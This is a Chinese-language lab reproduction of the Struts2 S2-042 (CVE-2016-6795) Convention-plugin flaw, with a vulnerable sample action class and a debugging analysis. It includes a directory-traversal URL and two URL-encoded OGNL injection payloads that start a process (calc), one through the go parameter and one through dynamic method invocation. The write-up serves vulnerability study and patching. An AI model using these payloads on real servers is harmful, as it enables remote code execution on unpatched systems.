(CVE-2016-6795)s2-042
一、漏洞简介
在进行struts2开发时,需要在配置文件(struts.xml)中写一个个action,和对应返回结果的result(可以理解为前端返回的jsp文件)。但是,写的action多了,配置起来就显得特别繁琐了。struts2 Convention插件可以完全抛弃配置,也就是约定优于配置通过这个插件来实现目录的遍历
二、漏洞影响
Struts 2.3.20 - Struts 2.3.31
三、复现过程
- 测试环境搭建
**(1)**struts版本: struts2.3.24.1
**(2)**convention插件版本: struts2-convention-plugin-2.3.24.1
将struts2-convention-plugin-2.3.24.1.jar
复制到/WEB-INF/lib
目录下。
- 样例代码
新建一个GoAction类,放在action
包下(convention
插件的默认约定位置)。
package action;
import com.opensymphony.xwork2.ActionSupport;
public class GoAction extends ActionSupport {
private String go;
private String methodToOGNL;
public String execute(){
return go; //方法的返回值,即为resultCode
}
public String getGo() {
return go;
}
public void setGo(String go) {
this.go = go;
}
public String getMethodToOGNL() {
return methodToOGNL;
}
public void setMethodToOGNL(String methodToOGNL) {
this.methodToOGNL = methodToOGNL;
}
}
在/WEB-INF/content
目录下,新建一个admin.jsp
:
<body> Hello Admin~~ <br>
</body>
- 攻击和调试分析
上述代码目的是,让GoAction
起到一个跳转功能。
当admin用户
经过验证,需要跳转到jsp
页面时。
直接访问url
:/go?go=admin
,此时的resultCode
为admin
。
通过convention
插件,会在/WEB-INF/content
找到admin.jsp
,返回给用户。1.png此时,我们就可以通过go
参数来控制resultCode
。
(1) 遍历目录读取文件
不防先试试跨目录。测试Payload为:
http://www.0-sec.org:8080/MyStruts2Test/go?go=../content/admin
这样也成功找到了admin.jsp
。
然后,在/WEB-INF/
下新建一个hack.jsp文件
。简单的跨目录读取成功:
1.png(2)执行任意代码
在补丁分析时,我们看到修补了一个Result
执行命令。于是,我们可以在resultCode
中嵌入ognl
代码试试\~
我们最后要找到admin.jsp
文件,于是在路径中嵌入了如下Payload:
http://www.0-sec.org:8080/MyStruts2Test/go?go=%24%7B%23_memberAccess%5B%22excludedClasses%22%5D%3D%7B1%7D%2Cnew%20java.lang.ProcessBuilder%28%27calc%27%29.start%28%29%7D%2f..%2fadmin
打断点分析可以看到:
1.png
找到admin.jsp
文件后的Result为org.apache.struts2.dispatcher.ServletDispatcherResult
对象,并且parse
属性为true。location
属性中带有OGNL语句,和S2-016漏洞一样,成功运行植入的代码,弹出计算器:
2.png
(3)另一种控制resultCode
方法
可能注意到了methodToOGNL
这个变量没有用,当我们可以选择调用action
的某个方法时,比如还有最近出现的rest
插件或者打开动态方法调用
:
<constant name="struts.enable.DynamicMethodInvocation" value="true" />
于是就有了如下payload:
http://www.0-sec.org:8080/MyStruts2Test/go!getMethodToOGNL?methodToOGNL=%24%7B%23_memberAccess%5B%22excludedClasses%22%5D%3D%7B1%7D%2Cnew%20java.lang.ProcessBuilder%28%27calc%27%29.start%28%29%7D%2f..%2fadmin
我调用了getMethodToOGNL
方法,返回methodToOGNL
变量的值。就能简接控制resultCode
了。当然成功弹出计算器。这种情况,相比前面的情况。恐怕就要普遍些了吧\~
条件: 只需action
中有个String
变量即可。